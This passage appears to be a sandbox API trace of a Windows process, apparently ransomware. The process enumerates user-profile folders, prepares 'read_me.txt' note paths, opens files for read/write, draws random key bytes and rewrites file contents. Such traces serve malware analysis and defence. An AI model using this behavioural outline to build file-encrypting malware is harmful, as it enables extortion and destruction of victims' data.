ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Music", cAlternateFileName="")) returned 1 [0078.833] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Music") returned 26 [0078.833] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0078.833] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\My Documents") returned 33 [0078.833] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="NetHood", cAlternateFileName="")) returned 1 [0078.833] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NetHood") returned 28 [0078.833] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0078.833] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\NTUSER.DAT") returned 31 [0078.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab8 [0078.835] QueueUserWorkItem (Function=0x404e00, Context=0xab8, Flags=0x0) returned 1 [0078.835] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Pictures", cAlternateFileName="")) returned 1 [0078.835] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Pictures") returned 29 [0078.835] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0078.835] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\PrintHood") returned 30 [0078.835] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b18c2b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1b18c2b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b18c2b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.835] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\read_me.txt") returned 32 [0078.835] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\read_me.txt" (normalized: "c:\\users\\default\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.835] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Recent", cAlternateFileName="")) returned 1 [0078.835] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Recent") returned 27 [0078.835] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b0cdbd0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0cdbd0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0078.835] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Saved Games") returned 32 [0078.835] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1b0f3d30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b0f3d30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Searches", cAlternateFileName="")) returned 1 [0078.835] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Searches") returned 29 [0078.835] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="SendTo", cAlternateFileName="")) returned 1 [0078.835] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\SendTo") returned 27 [0078.835] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0078.836] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Start Menu") returned 31 [0078.836] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0078.836] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Templates") returned 30 [0078.836] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Videos", cAlternateFileName="")) returned 1 [0078.836] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Videos") returned 27 [0078.836] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Videos", cAlternateFileName="")) returned 0 [0078.836] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0078.836] wnsprintfW (in: pszDest=0x44100b0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\read_me.txt") returned 32 [0078.836] GetProcessHeap () returned 0x540000 [0078.836] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44100b0 | out: hHeap=0x540000) returned 1 [0078.836] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 76 [0078.836] GetProcessHeap () returned 0x540000 [0078.836] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44000a8 | out: hHeap=0x540000) returned 1 [0078.836] GetProcessHeap () returned 0x540000 [0078.836] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4191078 [0078.836] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Application Data\\*") returned 39 [0078.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Videos", cAlternateFileName="")) returned 0xffffffff [0078.836] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Application Data\\read_me.txt") returned 49 [0078.836] GetProcessHeap () returned 0x540000 [0078.836] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4191078 | out: hHeap=0x540000) returned 1 [0078.836] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 77 [0078.836] GetProcessHeap () returned 0x540000 [0078.836] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44200b8 | out: hHeap=0x540000) returned 1 [0078.836] GetProcessHeap () returned 0x540000 [0078.836] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4191078 [0078.836] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\*") returned 31 [0078.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aede9f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aede9f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0078.837] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\.") returned 31 [0078.837] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aede9f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aede9f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0078.837] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\..") returned 32 [0078.837] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0078.837] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact") returned 51 [0078.837] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xabc [0078.837] QueueUserWorkItem (Function=0x404e00, Context=0xabc, Flags=0x0) returned 1 [0078.837] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.837] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\desktop.ini") returned 41 [0078.837] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac0 [0078.837] GetProcessHeap () returned 0x540000 [0078.837] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4191078 [0078.838] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Cookies\\*") returned 30 [0078.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aede9f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1aede9f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aede9f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x540000, cFileName="read_me.txt", cAlternateFileName="")) returned 0xffffffff [0078.838] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Cookies\\read_me.txt") returned 40 [0078.838] GetProcessHeap () returned 0x540000 [0078.838] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4191078 | out: hHeap=0x540000) returned 1 [0078.838] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 79 [0078.838] GetProcessHeap () returned 0x540000 [0078.838] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44400c8 | out: hHeap=0x540000) returned 1 [0078.840] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.840] ReadFile (in: hFile=0x7a4, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0078.841] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.841] GetProcessHeap () returned 0x540000 [0078.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0078.841] GetProcessHeap () returned 0x540000 [0078.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0078.841] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0078.841] GetProcessHeap () returned 0x540000 [0078.841] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0078.841] ReadFile (in: hFile=0x7a4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x49a, lpOverlapped=0x0) returned 1 [0078.920] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0xfffffb66, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.920] WriteFile (in: hFile=0x7a4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x49a, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x49a, lpOverlapped=0x0) returned 1 [0078.920] GetProcessHeap () returned 0x540000 [0078.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0078.920] GetProcessHeap () returned 0x540000 [0078.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.920] GetProcessHeap () returned 0x540000 [0078.920] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0078.920] GetProcessHeap () returned 0x540000 [0078.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.920] GetProcessHeap () returned 0x540000 [0078.920] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f280 [0078.920] GetProcessHeap () returned 0x540000 [0078.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.920] GetProcessHeap () returned 0x540000 [0078.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.920] GetProcessHeap () returned 0x540000 [0078.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.921] GetProcessHeap () returned 0x540000 [0078.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0078.922] GetProcessHeap () returned 0x540000 [0078.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) 